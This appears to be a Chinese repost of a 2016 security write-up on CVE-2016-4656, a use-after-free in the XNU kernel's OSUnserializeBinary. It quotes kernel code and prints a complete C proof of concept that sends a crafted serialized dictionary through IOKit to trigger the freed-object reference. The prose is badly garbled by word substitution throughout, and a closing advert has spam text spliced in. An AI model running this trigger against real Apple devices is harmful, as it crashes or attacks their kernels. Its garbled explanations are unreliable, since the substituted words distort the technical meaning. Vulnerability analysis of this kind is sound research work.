发布日期:2024-09-28 07:28 点击次数:146
OSObject* OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString) { if (!buffer) return (0); if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0); if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString); // XML must be null terminated if (buffer[bufferSize - 1]) return 0; return OSUnserializeXML(buffer, errorString); }OSUnserializeBinary 这个函数照旧相对相比新的,添加到OSUnserializeXML函数里来惩办序列化二进制数据的,是以某种进度上披露给用户了。这意味着攻击者不错通过调用IOKit API(豪放Mach API)等使用序列化输入参数的接口,来大力测试这个函数,举个例子IOKit里的mathing函数。 这相通意味着,iOS平台的沙盒中的掌握,以及OS X平台的掌握,均不错以用户态径直发起攻击。 这个新函数的代码在libkern/c++/OSSerializeBinary.cpp中,既然问题出在这里咱们就不去看苹果究竟补丁打在哪儿了。新的序列化二进制形状并不独特复杂,它包含一个32位的定位头,然后是32位的对皆象征位,背面是数据。 相沿下列数据形状:
# Dictionary # Array # Set # Number # Symbol # String # Data # Boolean # Object (reference to previously deserialized object)这种二进制形状把上述数据编码进32位块的24~30位,低的24位预留存储数字(比如长度、辘集元素计数器等),31位标记辘集里终末一个元素,而且统共的其他元素(字符串、标记、二进制数据、RAW数据)都按照4个字节对皆的神情参加数据流里,细目请看终末的Poc。 弊端本色 最终嗅觉把这个弊端定位出来并不是很难,因为它看上去卓绝像一个咱们也曾在PHP.net发现的unserialize()函数中的UAF弊端。OSUnserialize()函数貌似亦然出了相通的问题:反序列器在反序列的进程中会创建一个向已开释对象的援用。 一个对象在反序列化的进程中会被加入一个表中,代码如下:
if (!isRef) { setAtIndex(objs, objsIdx, o); if (!ok) break; objsIdx++; }这么作念并不安全,PHP也犯了相通的特地,setAtIndex()宏并不增多对象的援用计数:
define setAtIndex(v, idx, o) if (idx >= v##Capacity) { uint32_t ncap = v##Capacity + 64; typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o)); if (!nbuf) ok = false; if (v##Array) { bcopy(v##Array, nbuf, v##Capacity * sizeof(o)); kfree(v##Array, v##Capacity * sizeof(o)); } v##Array = nbuf; v##Capacity = ncap; } if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTING THE REFERENCE淌若反序列化的进程中没认识正当开释对象的话,v##Array不保留援用计数就不攻击,苦难的是至少有一处代码允许了反序列化时开释对象,下文的代码是OSSymbols和OSString的惩办字典对象的进程。OSString keys谈判为OSSymbol的进程中OSString不复存在,干系词OSString也曾被加入了对象列表内部了。
if (dict) { if (sym) { DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName()); if (o != dict) ok = dict->setObject(sym, o, true); o->release(); sym->release(); sym = 0; } else { sym = OSDynamicCast(OSSymbol, o); if (!sym && (str = OSDynamicCast(OSString, o))) { sym = (OSSymbol *) OSSymbol::withString(str); o->release(); <---- destruction of OSString object that is already in objs table o = 0; } ok = (sym != 0); } }这么就干扰了,咱们独一使用kOSSerializeObject类型去援用也曾被开释了的OSString,就崩溃了。这是个经典的UAF(Use After Free)弊端。 PoC 既然也曾照看好了问题在那儿,咱们写了一个马虎的Poc来发动相通的攻击。人人不错在OS X 里尝试一下(因为旨趣和iOS是一样的)。
/* * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH * compile on OS X like: * gcc -arch i386 -framework IOKit -o ex exploit.c */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <mach/mach.h> #include <IOKit/IOKitLib.h> #include <IOKit/iokitmig.h> enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, kOSSerializeEndCollecton = 0x80000000U, }; #define kOSSerializeBinarySignature "\323\0\0" int main() { char * data = malloc(1024); uint32_t * ptr = (uint32_t *) data; uint32_t bufpos = 0; mach_port_t master = 0, res; kern_return_t kr; /* create header */ memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature)); bufpos += sizeof(kOSSerializeBinarySignature); /* create a dictionary with 2 elements */ *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4; /* our key is a OSString object */ *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4; *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4; /* our data is a simple boolean */ *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4; /* now create a reference to object 1 which is the OSString object that was just freed */ *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4; /* get a master port for IOKit API */ host_get_io_master(mach_host_self(), &master); /* trigger the bug */ kr = io_service_get_matching_services_bin(master, data, bufpos, &res); printf("kr: 0x%x\n", kr); }攻击套件 咱们刚刚分析罢了代码和问题,还莫得设立攻击套件。咱们会设立的,而且不才次的培训(注释3)上以这个为案例讲一下。 原文: -09-02-pegasus-ios-kernel-vulnerability-explained.html 注释1: -needs-decrypted-kernels-anyways.html 注释2: https://github.com/joxeankoret/diaphora 注释3: https://www.sektioneins.de/en/blog/16-08-04-trainingBerlin.html
[培训]内核驱动高等班,冲击BAT一流互联网大厂使命自拍偷拍.,每周日13:00-18:00直播讲课
上传的附件: diaphora1.png (280.40kb,42次下载)